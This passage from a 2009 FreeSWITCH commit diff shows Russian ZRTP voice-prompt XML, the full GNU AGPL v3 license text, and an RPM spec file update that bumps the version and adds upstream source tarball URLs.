+      		<prompt phrase="transit" filename="transit.wav"/>
+      		<prompt phrase="trauma" filename="trauma.wav"/>
+      		<prompt phrase="travesty" filename="travesty.wav"/>
+      		<prompt phrase="treadmill" filename="treadmill.wav"/>
+      		<prompt phrase="trombonist" filename="trombonist.wav"/>
+      		<prompt phrase="trouble" filename="trouble.wav"/>
+      		<prompt phrase="truncated" filename="truncated.wav"/>
+      		<prompt phrase="tumor" filename="tumor.wav"/>
+      		<prompt phrase="tunnel" filename="tunnel.wav"/>
+      		<prompt phrase="tycoon" filename="tycoon.wav"/>
+      		<prompt phrase="typewriter" filename="typewriter.wav"/>
+      		<prompt phrase="ultimate" filename="ultimate.wav"/>
+      		<prompt phrase="uncut" filename="uncut.wav"/>
+      		<prompt phrase="undaunted" filename="undaunted.wav"/>
+      		<prompt phrase="underfoot" filename="underfoot.wav"/>
+      		<prompt phrase="unearth" filename="unearth.wav"/>
+      		<prompt phrase="unicorn" filename="unicorn.wav"/>
+      		<prompt phrase="unify" filename="unify.wav"/>
+      		<prompt phrase="universe" filename="universe.wav"/>
+      		<prompt phrase="unravel" filename="unravel.wav"/>
+      		<prompt phrase="unwind" filename="unwind.wav"/>
+      		<prompt phrase="upcoming" filename="upcoming.wav"/>
+      		<prompt phrase="uproot" filename="uproot.wav"/>
+      		<prompt phrase="upset" filename="upset.wav"/>
+      		<prompt phrase="upshot" filename="upshot.wav"/>
+      		<prompt phrase="vacancy" filename="vacancy.wav"/>
+      		<prompt phrase="vagabond" filename="vagabond.wav"/>
+      		<prompt phrase="vapor" filename="vapor.wav"/>
+      		<prompt phrase="vertigo" filename="vertigo.wav"/>
+      		<prompt phrase="village" filename="village.wav"/>
+      		<prompt phrase="virus" filename="virus.wav"/>
+      		<prompt phrase="visitor" filename="visitor.wav"/>
+      		<prompt phrase="vocalist" filename="vocalist.wav"/>
+      		<prompt phrase="voyager" filename="voyager.wav"/>
+      		<prompt phrase="waffle" filename="waffle.wav"/>
+      		<prompt phrase="wallet" filename="wallet.wav"/>
+      		<prompt phrase="warranty" filename="warranty.wav"/>
+      		<prompt phrase="watchword" filename="watchword.wav"/>
+      		<prompt phrase="wayside" filename="wayside.wav"/>
+      		<prompt phrase="whimsical" filename="whimsical.wav"/>
+      		<prompt phrase="willow" filename="willow.wav"/>
+      		<prompt phrase="woodlark" filename="woodlark.wav"/>
+      		<prompt phrase="yesteryear" filename="yesteryear.wav"/>
+      		<!-- Event prompts -->
+      		<prompt phrase="Добро пожаловать в агента регистрации шифрования ZRTP" filename="zrtp-enroll_welcome.wav"/>
+      		<!-- Welcome to the ZRTP security enrollment agent.   -->
+      		<prompt phrase="Вы должны выбрать строку аутентификации с партнером по разговору, Если она не совпадет, система сообщит вам разрывом линии." filename="zrtp-check_sas.wav"/>
+      		<!-- You must check the authentication string with your partner. If it doesn't match, it indicates the presence of a wire tapper.   -->
+      		<prompt phrase="Только телефоны, прошедшие аутентификацию, могут быть сконфигурированы для доверия системе для обеспечения ZRTP шифрованных звонков, так что такой звонок не даст эффекта." filename="zrtp-enroll_not_sip_registered.wav"/>
+      		<!-- Only phones that are authenticated can be configured to trust this system to relay ZRTP secured calls.  Your phone is not authenticated with this system, so this call will have no effect.  -->
+      		<prompt phrase="Ваш телефон сообщит, что он уже доверяет системе для перенаправления ZRTP шифрованных звонков, так что больше делать ничего не нужно будет" filename="zrtp-enroll_already_enrolled.wav"/>
+      		<!-- Your phone indicates that it already trusts this system to relay ZRTP secured calls, so you do not need to do anything more. -->
+      		<prompt phrase="Только телефоны, с поддержкой протокола ZRTP могут использовать такую функцию. Ваш телефон не поддерживает ZRTP протокол и звонок не даст эффекта ZRTP защиты." filename="zrtp-enroll_notzrtp.wav"/>
+      		<!-- Only phones equipped with the ZRTP protocol can use this extension. Your phone is not a ZRTP-enable phone, so this call will have no effect.-->
+      		<prompt phrase="Система оборудована для проведения шифрованных ZRTP звонков. Вы должны решить, если вы хотите чтобы система была задействована для приема и возможно мониторинга ваших защищенных звонков. Вы можете повесить трубку после окончания разговора." filename="zrtp-enroll_confirmed.wav"/>
+      		<!-- This system is equipped to handle ZRTP encrypted phone calls. You must decide if you want to allow this system to be in a position to intercept and possibly monitor your secure phone calls. You may hang up after you've done this. -->
+      		<prompt phrase="Договоритесь с партнером по разговору о парольной фразе." filename="zrtp-is_secure.wav"/>
+      		<!-- Verbally compare this authentication code with your partner.   -->
+      		<prompt phrase="Парольная фраза на данный момент не проверена" filename="zrtp-is_unverified.wav"/>
+      		<!-- Authentication code is now unverified.   -->
+      		<prompt phrase="Парольная фраза проверена." filename="zrtp-is_verified.wav"/>
+      		<!-- Authentication code is now verified.   -->
+      		<prompt phrase="Спасибо за звонок. До свидания." filename="zrtp-thankyou_goodbye.wav"/>
+      		<!-- Thank you for calling. Goodbye.   -->
+      		<prompt phrase="Что-то происходит не так." filename="zrtp-somethings_wrong.wav"/>
+      		<!-- Something's wrong   -->
+      		<prompt phrase="Ошибка." filename="zrtp-status_error.wav"/>
+      		<!-- Error.   -->
+      		<prompt phrase="Ваш разговор не шифруется" filename="zrtp-status_notsecure.wav"/>
+      		<!-- Call is not secure.   -->
+      		<prompt phrase="Ваш разговор шифруется." filename="zrtp-status_secure.wav"/>
+      		<!-- Call is secure.   -->
+      		<prompt phrase="Шифрованный вызов." filename="zrtp-status_securing.wav"/>
+      		<!-- Securing call.   -->
+    	</zrtp>
+  </ru>                                                                                                                                                                      
+</language>                                                                                                                                                                  
+

Copied: freeswitch/branches/seven/docs/zrtp_agpl-3.0.txt (from rev 14471, freeswitch/trunk/docs/zrtp_agpl-3.0.txt) (0 => 14472)


--- freeswitch/branches/seven/docs/zrtp_agpl-3.0.txt	                        (rev 0)
+++ freeswitch/branches/seven/docs/zrtp_agpl-3.0.txt	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,661 @@
+                    GNU AFFERO GENERAL PUBLIC LICENSE
+                       Version 3, 19 November 2007
+
+ Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+                            Preamble
+
+  The GNU Affero General Public License is a free, copyleft license for
+software and other kinds of works, specifically designed to ensure
+cooperation with the community in the case of network server software.
+
+  The licenses for most software and other practical works are designed
+to take away your freedom to share and change the works.  By contrast,
+our General Public Licenses are intended to guarantee your freedom to
+share and change all versions of a program--to make sure it remains free
+software for all its users.
+
+  When we speak of free software, we are referring to freedom, not
+price.  Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+them if you wish), that you receive source code or can get it if you
+want it, that you can change the software or use pieces of it in new
+free programs, and that you know you can do these things.
+
+  Developers that use our General Public Licenses protect your rights
+with two steps: (1) assert copyright on the software, and (2) offer
+you this License which gives you legal permission to copy, distribute
+and/or modify the software.
+
+  A secondary benefit of defending all users' freedom is that
+improvements made in alternate versions of the program, if they
+receive widespread use, become available for other developers to
+incorporate.  Many developers of free software are heartened and
+encouraged by the resulting cooperation.  However, in the case of
+software used on network servers, this result may fail to come about.
+The GNU General Public License permits making a modified version and
+letting the public access it on a server without ever releasing its
+source code to the public.
+
+  The GNU Affero General Public License is designed specifically to
+ensure that, in such cases, the modified source code becomes available
+to the community.  It requires the operator of a network server to
+provide the source code of the modified version running there to the
+users of that server.  Therefore, public use of a modified version, on
+a publicly accessible server, gives the public access to the source
+code of the modified version.
+
+  An older license, called the Affero General Public License and
+published by Affero, was designed to accomplish similar goals.  This is
+a different license, not a version of the Affero GPL, but Affero has
+released a new version of the Affero GPL which permits relicensing under
+this license.
+
+  The precise terms and conditions for copying, distribution and
+modification follow.
+
+                       TERMS AND CONDITIONS
+
+  0. Definitions.
+
+  "This License" refers to version 3 of the GNU Affero General Public License.
+
+  "Copyright" also means copyright-like laws that apply to other kinds of
+works, such as semiconductor masks.
+
+  "The Program" refers to any copyrightable work licensed under this
+License.  Each licensee is addressed as "you".  "Licensees" and
+"recipients" may be individuals or organizations.
+
+  To "modify" a work means to copy from or adapt all or part of the work
+in a fashion requiring copyright permission, other than the making of an
+exact copy.  The resulting work is called a "modified version" of the
+earlier work or a work "based on" the earlier work.
+
+  A "covered work" means either the unmodified Program or a work based
+on the Program.
+
+  To "propagate" a work means to do anything with it that, without
+permission, would make you directly or secondarily liable for
+infringement under applicable copyright law, except executing it on a
+computer or modifying a private copy.  Propagation includes copying,
+distribution (with or without modification), making available to the
+public, and in some countries other activities as well.
+
+  To "convey" a work means any kind of propagation that enables other
+parties to make or receive copies.  Mere interaction with a user through
+a computer network, with no transfer of a copy, is not conveying.
+
+  An interactive user interface displays "Appropriate Legal Notices"
+to the extent that it includes a convenient and prominently visible
+feature that (1) displays an appropriate copyright notice, and (2)
+tells the user that there is no warranty for the work (except to the
+extent that warranties are provided), that licensees may convey the
+work under this License, and how to view a copy of this License.  If
+the interface presents a list of user commands or options, such as a
+menu, a prominent item in the list meets this criterion.
+
+  1. Source Code.
+
+  The "source code" for a work means the preferred form of the work
+for making modifications to it.  "Object code" means any non-source
+form of a work.
+
+  A "Standard Interface" means an interface that either is an official
+standard defined by a recognized standards body, or, in the case of
+interfaces specified for a particular programming language, one that
+is widely used among developers working in that language.
+
+  The "System Libraries" of an executable work include anything, other
+than the work as a whole, that (a) is included in the normal form of
+packaging a Major Component, but which is not part of that Major
+Component, and (b) serves only to enable use of the work with that
+Major Component, or to implement a Standard Interface for which an
+implementation is available to the public in source code form.  A
+"Major Component", in this context, means a major essential component
+(kernel, window system, and so on) of the specific operating system
+(if any) on which the executable work runs, or a compiler used to
+produce the work, or an object code interpreter used to run it.
+
+  The "Corresponding Source" for a work in object code form means all
+the source code needed to generate, install, and (for an executable
+work) run the object code and to modify the work, including scripts to
+control those activities.  However, it does not include the work's
+System Libraries, or general-purpose tools or generally available free
+programs which are used unmodified in performing those activities but
+which are not part of the work.  For example, Corresponding Source
+includes interface definition files associated with source files for
+the work, and the source code for shared libraries and dynamically
+linked subprograms that the work is specifically designed to require,
+such as by intimate data communication or control flow between those
+subprograms and other parts of the work.
+
+  The Corresponding Source need not include anything that users
+can regenerate automatically from other parts of the Corresponding
+Source.
+
+  The Corresponding Source for a work in source code form is that
+same work.
+
+  2. Basic Permissions.
+
+  All rights granted under this License are granted for the term of
+copyright on the Program, and are irrevocable provided the stated
+conditions are met.  This License explicitly affirms your unlimited
+permission to run the unmodified Program.  The output from running a
+covered work is covered by this License only if the output, given its
+content, constitutes a covered work.  This License acknowledges your
+rights of fair use or other equivalent, as provided by copyright law.
+
+  You may make, run and propagate covered works that you do not
+convey, without conditions so long as your license otherwise remains
+in force.  You may convey covered works to others for the sole purpose
+of having them make modifications exclusively for you, or provide you
+with facilities for running those works, provided that you comply with
+the terms of this License in conveying all material for which you do
+not control copyright.  Those thus making or running the covered works
+for you must do so exclusively on your behalf, under your direction
+and control, on terms that prohibit them from making any copies of
+your copyrighted material outside their relationship with you.
+
+  Conveying under any other circumstances is permitted solely under
+the conditions stated below.  Sublicensing is not allowed; section 10
+makes it unnecessary.
+
+  3. Protecting Users' Legal Rights From Anti-Circumvention Law.
+
+  No covered work shall be deemed part of an effective technological
+measure under any applicable law fulfilling obligations under article
+11 of the WIPO copyright treaty adopted on 20 December 1996, or
+similar laws prohibiting or restricting circumvention of such
+measures.
+
+  When you convey a covered work, you waive any legal power to forbid
+circumvention of technological measures to the extent such circumvention
+is effected by exercising rights under this License with respect to
+the covered work, and you disclaim any intention to limit operation or
+modification of the work as a means of enforcing, against the work's
+users, your or third parties' legal rights to forbid circumvention of
+technological measures.
+
+  4. Conveying Verbatim Copies.
+
+  You may convey verbatim copies of the Program's source code as you
+receive it, in any medium, provided that you conspicuously and
+appropriately publish on each copy an appropriate copyright notice;
+keep intact all notices stating that this License and any
+non-permissive terms added in accord with section 7 apply to the code;
+keep intact all notices of the absence of any warranty; and give all
+recipients a copy of this License along with the Program.
+
+  You may charge any price or no price for each copy that you convey,
+and you may offer support or warranty protection for a fee.
+
+  5. Conveying Modified Source Versions.
+
+  You may convey a work based on the Program, or the modifications to
+produce it from the Program, in the form of source code under the
+terms of section 4, provided that you also meet all of these conditions:
+
+    a) The work must carry prominent notices stating that you modified
+    it, and giving a relevant date.
+
+    b) The work must carry prominent notices stating that it is
+    released under this License and any conditions added under section
+    7.  This requirement modifies the requirement in section 4 to
+    "keep intact all notices".
+
+    c) You must license the entire work, as a whole, under this
+    License to anyone who comes into possession of a copy.  This
+    License will therefore apply, along with any applicable section 7
+    additional terms, to the whole of the work, and all its parts,
+    regardless of how they are packaged.  This License gives no
+    permission to license the work in any other way, but it does not
+    invalidate such permission if you have separately received it.
+
+    d) If the work has interactive user interfaces, each must display
+    Appropriate Legal Notices; however, if the Program has interactive
+    interfaces that do not display Appropriate Legal Notices, your
+    work need not make them do so.
+
+  A compilation of a covered work with other separate and independent
+works, which are not by their nature extensions of the covered work,
+and which are not combined with it such as to form a larger program,
+in or on a volume of a storage or distribution medium, is called an
+"aggregate" if the compilation and its resulting copyright are not
+used to limit the access or legal rights of the compilation's users
+beyond what the individual works permit.  Inclusion of a covered work
+in an aggregate does not cause this License to apply to the other
+parts of the aggregate.
+
+  6. Conveying Non-Source Forms.
+
+  You may convey a covered work in object code form under the terms
+of sections 4 and 5, provided that you also convey the
+machine-readable Corresponding Source under the terms of this License,
+in one of these ways:
+
+    a) Convey the object code in, or embodied in, a physical product
+    (including a physical distribution medium), accompanied by the
+    Corresponding Source fixed on a durable physical medium
+    customarily used for software interchange.
+
+    b) Convey the object code in, or embodied in, a physical product
+    (including a physical distribution medium), accompanied by a
+    written offer, valid for at least three years and valid for as
+    long as you offer spare parts or customer support for that product
+    model, to give anyone who possesses the object code either (1) a
+    copy of the Corresponding Source for all the software in the
+    product that is covered by this License, on a durable physical
+    medium customarily used for software interchange, for a price no
+    more than your reasonable cost of physically performing this
+    conveying of source, or (2) access to copy the
+    Corresponding Source from a network server at no charge.
+
+    c) Convey individual copies of the object code with a copy of the
+    written offer to provide the Corresponding Source.  This
+    alternative is allowed only occasionally and noncommercially, and
+    only if you received the object code with such an offer, in accord
+    with subsection 6b.
+
+    d) Convey the object code by offering access from a designated
+    place (gratis or for a charge), and offer equivalent access to the
+    Corresponding Source in the same way through the same place at no
+    further charge.  You need not require recipients to copy the
+    Corresponding Source along with the object code.  If the place to
+    copy the object code is a network server, the Corresponding Source
+    may be on a different server (operated by you or a third party)
+    that supports equivalent copying facilities, provided you maintain
+    clear directions next to the object code saying where to find the
+    Corresponding Source.  Regardless of what server hosts the
+    Corresponding Source, you remain obligated to ensure that it is
+    available for as long as needed to satisfy these requirements.
+
+    e) Convey the object code using peer-to-peer transmission, provided
+    you inform other peers where the object code and Corresponding
+    Source of the work are being offered to the general public at no
+    charge under subsection 6d.
+
+  A separable portion of the object code, whose source code is excluded
+from the Corresponding Source as a System Library, need not be
+included in conveying the object code work.
+
+  A "User Product" is either (1) a "consumer product", which means any
+tangible personal property which is normally used for personal, family,
+or household purposes, or (2) anything designed or sold for incorporation
+into a dwelling.  In determining whether a product is a consumer product,
+doubtful cases shall be resolved in favor of coverage.  For a particular
+product received by a particular user, "normally used" refers to a
+typical or common use of that class of product, regardless of the status
+of the particular user or of the way in which the particular user
+actually uses, or expects or is expected to use, the product.  A product
+is a consumer product regardless of whether the product has substantial
+commercial, industrial or non-consumer uses, unless such uses represent
+the only significant mode of use of the product.
+
+  "Installation Information" for a User Product means any methods,
+procedures, authorization keys, or other information required to install
+and execute modified versions of a covered work in that User Product from
+a modified version of its Corresponding Source.  The information must
+suffice to ensure that the continued functioning of the modified object
+code is in no case prevented or interfered with solely because
+modification has been made.
+
+  If you convey an object code work under this section in, or with, or
+specifically for use in, a User Product, and the conveying occurs as
+part of a transaction in which the right of possession and use of the
+User Product is transferred to the recipient in perpetuity or for a
+fixed term (regardless of how the transaction is characterized), the
+Corresponding Source conveyed under this section must be accompanied
+by the Installation Information.  But this requirement does not apply
+if neither you nor any third party retains the ability to install
+modified object code on the User Product (for example, the work has
+been installed in ROM).
+
+  The requirement to provide Installation Information does not include a
+requirement to continue to provide support service, warranty, or updates
+for a work that has been modified or installed by the recipient, or for
+the User Product in which it has been modified or installed.  Access to a
+network may be denied when the modification itself materially and
+adversely affects the operation of the network or violates the rules and
+protocols for communication across the network.
+
+  Corresponding Source conveyed, and Installation Information provided,
+in accord with this section must be in a format that is publicly
+documented (and with an implementation available to the public in
+source code form), and must require no special password or key for
+unpacking, reading or copying.
+
+  7. Additional Terms.
+
+  "Additional permissions" are terms that supplement the terms of this
+License by making exceptions from one or more of its conditions.
+Additional permissions that are applicable to the entire Program shall
+be treated as though they were included in this License, to the extent
+that they are valid under applicable law.  If additional permissions
+apply only to part of the Program, that part may be used separately
+under those permissions, but the entire Program remains governed by
+this License without regard to the additional permissions.
+
+  When you convey a copy of a covered work, you may at your option
+remove any additional permissions from that copy, or from any part of
+it.  (Additional permissions may be written to require their own
+removal in certain cases when you modify the work.)  You may place
+additional permissions on material, added by you to a covered work,
+for which you have or can give appropriate copyright permission.
+
+  Notwithstanding any other provision of this License, for material you
+add to a covered work, you may (if authorized by the copyright holders of
+that material) supplement the terms of this License with terms:
+
+    a) Disclaiming warranty or limiting liability differently from the
+    terms of sections 15 and 16 of this License; or
+
+    b) Requiring preservation of specified reasonable legal notices or
+    author attributions in that material or in the Appropriate Legal
+    Notices displayed by works containing it; or
+
+    c) Prohibiting misrepresentation of the origin of that material, or
+    requiring that modified versions of such material be marked in
+    reasonable ways as different from the original version; or
+
+    d) Limiting the use for publicity purposes of names of licensors or
+    authors of the material; or
+
+    e) Declining to grant rights under trademark law for use of some
+    trade names, trademarks, or service marks; or
+
+    f) Requiring indemnification of licensors and authors of that
+    material by anyone who conveys the material (or modified versions of
+    it) with contractual assumptions of liability to the recipient, for
+    any liability that these contractual assumptions directly impose on
+    those licensors and authors.
+
+  All other non-permissive additional terms are considered "further
+restrictions" within the meaning of section 10.  If the Program as you
+received it, or any part of it, contains a notice stating that it is
+governed by this License along with a term that is a further
+restriction, you may remove that term.  If a license document contains
+a further restriction but permits relicensing or conveying under this
+License, you may add to a covered work material governed by the terms
+of that license document, provided that the further restriction does
+not survive such relicensing or conveying.
+
+  If you add terms to a covered work in accord with this section, you
+must place, in the relevant source files, a statement of the
+additional terms that apply to those files, or a notice indicating
+where to find the applicable terms.
+
+  Additional terms, permissive or non-permissive, may be stated in the
+form of a separately written license, or stated as exceptions;
+the above requirements apply either way.
+
+  8. Termination.
+
+  You may not propagate or modify a covered work except as expressly
+provided under this License.  Any attempt otherwise to propagate or
+modify it is void, and will automatically terminate your rights under
+this License (including any patent licenses granted under the third
+paragraph of section 11).
+
+  However, if you cease all violation of this License, then your
+license from a particular copyright holder is reinstated (a)
+provisionally, unless and until the copyright holder explicitly and
+finally terminates your license, and (b) permanently, if the copyright
+holder fails to notify you of the violation by some reasonable means
+prior to 60 days after the cessation.
+
+  Moreover, your license from a particular copyright holder is
+reinstated permanently if the copyright holder notifies you of the
+violation by some reasonable means, this is the first time you have
+received notice of violation of this License (for any work) from that
+copyright holder, and you cure the violation prior to 30 days after
+your receipt of the notice.
+
+  Termination of your rights under this section does not terminate the
+licenses of parties who have received copies or rights from you under
+this License.  If your rights have been terminated and not permanently
+reinstated, you do not qualify to receive new licenses for the same
+material under section 10.
+
+  9. Acceptance Not Required for Having Copies.
+
+  You are not required to accept this License in order to receive or
+run a copy of the Program.  Ancillary propagation of a covered work
+occurring solely as a consequence of using peer-to-peer transmission
+to receive a copy likewise does not require acceptance.  However,
+nothing other than this License grants you permission to propagate or
+modify any covered work.  These actions infringe copyright if you do
+not accept this License.  Therefore, by modifying or propagating a
+covered work, you indicate your acceptance of this License to do so.
+
+  10. Automatic Licensing of Downstream Recipients.
+
+  Each time you convey a covered work, the recipient automatically
+receives a license from the original licensors, to run, modify and
+propagate that work, subject to this License.  You are not responsible
+for enforcing compliance by third parties with this License.
+
+  An "entity transaction" is a transaction transferring control of an
+organization, or substantially all assets of one, or subdividing an
+organization, or merging organizations.  If propagation of a covered
+work results from an entity transaction, each party to that
+transaction who receives a copy of the work also receives whatever
+licenses to the work the party's predecessor in interest had or could
+give under the previous paragraph, plus a right to possession of the
+Corresponding Source of the work from the predecessor in interest, if
+the predecessor has it or can get it with reasonable efforts.
+
+  You may not impose any further restrictions on the exercise of the
+rights granted or affirmed under this License.  For example, you may
+not impose a license fee, royalty, or other charge for exercise of
+rights granted under this License, and you may not initiate litigation
+(including a cross-claim or counterclaim in a lawsuit) alleging that
+any patent claim is infringed by making, using, selling, offering for
+sale, or importing the Program or any portion of it.
+
+  11. Patents.
+
+  A "contributor" is a copyright holder who authorizes use under this
+License of the Program or a work on which the Program is based.  The
+work thus licensed is called the contributor's "contributor version".
+
+  A contributor's "essential patent claims" are all patent claims
+owned or controlled by the contributor, whether already acquired or
+hereafter acquired, that would be infringed by some manner, permitted
+by this License, of making, using, or selling its contributor version,
+but do not include claims that would be infringed only as a
+consequence of further modification of the contributor version.  For
+purposes of this definition, "control" includes the right to grant
+patent sublicenses in a manner consistent with the requirements of
+this License.
+
+  Each contributor grants you a non-exclusive, worldwide, royalty-free
+patent license under the contributor's essential patent claims, to
+make, use, sell, offer for sale, import and otherwise run, modify and
+propagate the contents of its contributor version.
+
+  In the following three paragraphs, a "patent license" is any express
+agreement or commitment, however denominated, not to enforce a patent
+(such as an express permission to practice a patent or covenant not to
+sue for patent infringement).  To "grant" such a patent license to a
+party means to make such an agreement or commitment not to enforce a
+patent against the party.
+
+  If you convey a covered work, knowingly relying on a patent license,
+and the Corresponding Source of the work is not available for anyone
+to copy, free of charge and under the terms of this License, through a
+publicly available network server or other readily accessible means,
+then you must either (1) cause the Corresponding Source to be so
+available, or (2) arrange to deprive yourself of the benefit of the
+patent license for this particular work, or (3) arrange, in a manner
+consistent with the requirements of this License, to extend the patent
+license to downstream recipients.  "Knowingly relying" means you have
+actual knowledge that, but for the patent license, your conveying the
+covered work in a country, or your recipient's use of the covered work
+in a country, would infringe one or more identifiable patents in that
+country that you have reason to believe are valid.
+
+  If, pursuant to or in connection with a single transaction or
+arrangement, you convey, or propagate by procuring conveyance of, a
+covered work, and grant a patent license to some of the parties
+receiving the covered work authorizing them to use, propagate, modify
+or convey a specific copy of the covered work, then the patent license
+you grant is automatically extended to all recipients of the covered
+work and works based on it.
+
+  A patent license is "discriminatory" if it does not include within
+the scope of its coverage, prohibits the exercise of, or is
+conditioned on the non-exercise of one or more of the rights that are
+specifically granted under this License.  You may not convey a covered
+work if you are a party to an arrangement with a third party that is
+in the business of distributing software, under which you make payment
+to the third party based on the extent of your activity of conveying
+the work, and under which the third party grants, to any of the
+parties who would receive the covered work from you, a discriminatory
+patent license (a) in connection with copies of the covered work
+conveyed by you (or copies made from those copies), or (b) primarily
+for and in connection with specific products or compilations that
+contain the covered work, unless you entered into that arrangement,
+or that patent license was granted, prior to 28 March 2007.
+
+  Nothing in this License shall be construed as excluding or limiting
+any implied license or other defenses to infringement that may
+otherwise be available to you under applicable patent law.
+
+  12. No Surrender of Others' Freedom.
+
+  If conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License.  If you cannot convey a
+covered work so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you may
+not convey it at all.  For example, if you agree to terms that obligate you
+to collect a royalty for further conveying from those to whom you convey
+the Program, the only way you could satisfy both those terms and this
+License would be to refrain entirely from conveying the Program.
+
+  13. Remote Network Interaction; Use with the GNU General Public License.
+
+  Notwithstanding any other provision of this License, if you modify the
+Program, your modified version must prominently offer all users
+interacting with it remotely through a computer network (if your version
+supports such interaction) an opportunity to receive the Corresponding
+Source of your version by providing access to the Corresponding Source
+from a network server at no charge, through some standard or customary
+means of facilitating copying of software.  This Corresponding Source
+shall include the Corresponding Source for any work covered by version 3
+of the GNU General Public License that is incorporated pursuant to the
+following paragraph.
+
+  Notwithstanding any other provision of this License, you have
+permission to link or combine any covered work with a work licensed
+under version 3 of the GNU General Public License into a single
+combined work, and to convey the resulting work.  The terms of this
+License will continue to apply to the part which is the covered work,
+but the work with which it is combined will remain governed by version
+3 of the GNU General Public License.
+
+  14. Revised Versions of this License.
+
+  The Free Software Foundation may publish revised and/or new versions of
+the GNU Affero General Public License from time to time.  Such new versions
+will be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+  Each version is given a distinguishing version number.  If the
+Program specifies that a certain numbered version of the GNU Affero General
+Public License "or any later version" applies to it, you have the
+option of following the terms and conditions either of that numbered
+version or of any later version published by the Free Software
+Foundation.  If the Program does not specify a version number of the
+GNU Affero General Public License, you may choose any version ever published
+by the Free Software Foundation.
+
+  If the Program specifies that a proxy can decide which future
+versions of the GNU Affero General Public License can be used, that proxy's
+public statement of acceptance of a version permanently authorizes you
+to choose that version for the Program.
+
+  Later license versions may give you additional or different
+permissions.  However, no additional obligations are imposed on any
+author or copyright holder as a result of your choosing to follow a
+later version.
+
+  15. Disclaimer of Warranty.
+
+  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
+APPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
+HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
+OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
+THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
+IS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
+ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+  16. Limitation of Liability.
+
+  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
+THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
+GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
+USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
+DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
+PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
+EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
+SUCH DAMAGES.
+
+  17. Interpretation of Sections 15 and 16.
+
+  If the disclaimer of warranty and limitation of liability provided
+above cannot be given local legal effect according to their terms,
+reviewing courts shall apply local law that most closely approximates
+an absolute waiver of all civil liability in connection with the
+Program, unless a warranty or assumption of liability accompanies a
+copy of the Program in return for a fee.
+
+                     END OF TERMS AND CONDITIONS
+
+            How to Apply These Terms to Your New Programs
+
+  If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+  To do so, attach the following notices to the program.  It is safest
+to attach them to the start of each source file to most effectively
+state the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+    <one line to give the program's name and a brief idea of what it does.>
+    Copyright (C) <year>  <name of author>
+
+    This program is free software: you can redistribute it and/or modify
+    it under the terms of the GNU Affero General Public License as published by
+    the Free Software Foundation, either version 3 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU Affero General Public License for more details.
+
+    You should have received a copy of the GNU Affero General Public License
+    along with this program.  If not, see <http://www.gnu.org/licenses/>.
+
+Also add information on how to contact you by electronic and paper mail.
+
+  If your software can interact with users remotely through a computer
+network, you should also make sure that it provides a way for users to
+get its source.  For example, if your program is a web application, its
+interface could display a "Source" link that leads users to an archive
+of the code.  There are many ways you could offer source, and different
+solutions will be better for different programs; see section 13 for the
+specific requirements.
+
+  You should also get your employer (if you work as a programmer) or school,
+if any, to sign a "copyright disclaimer" for the program, if necessary.
+For more information on this, and how to apply and follow the GNU AGPL, see
+<http://www.gnu.org/licenses/>.

Modified: freeswitch/branches/seven/freeswitch.spec (14471 => 14472)


--- freeswitch/branches/seven/freeswitch.spec	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/freeswitch.spec	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,17 +1,37 @@
 %define _prefix   /opt/freeswitch
 %define prefix    %{_prefix}
+%define sysconfdir	/opt/freeswitch/conf
+%define _sysconfdir	%{sysconfdir}
 
 Name:         freeswitch
 Summary:      FreeSWITCH open source telephony platform
 License:      MPL
 Group:        Productivity/Telephony/Servers
-Version:      1.0
+Version:      1.0.4
 Release:      1
 URL:          http://www.freeswitch.org/
-Packager:     Michal Bielicki
-Vendor:       http://www.voiceworks.pl/
-Source0:      %{name}-%{version}.tar.bz2
-Prefix:       %{prefix}
+Packager:     	Michal Bielicki
+Vendor:       	http://www.freeswitch.org/
+Source0:      	http://files.freeswitch.org/%{name}-%{version}.tar.bz2
+Source1:	http://files.freeswitch.org/downloads/libs/celt-0.6.1.tar.gz
+Source2:	http://files.freeswitch.org/downloads/libs/flite-1.3.99-latest.tar.gz
+Source3:	http://files.freeswitch.org/downloads/libs/lame-3.97.tar.gz
+Source4:	http://files.freeswitch.org/downloads/libs/libshout-2.2.2.tar.gz
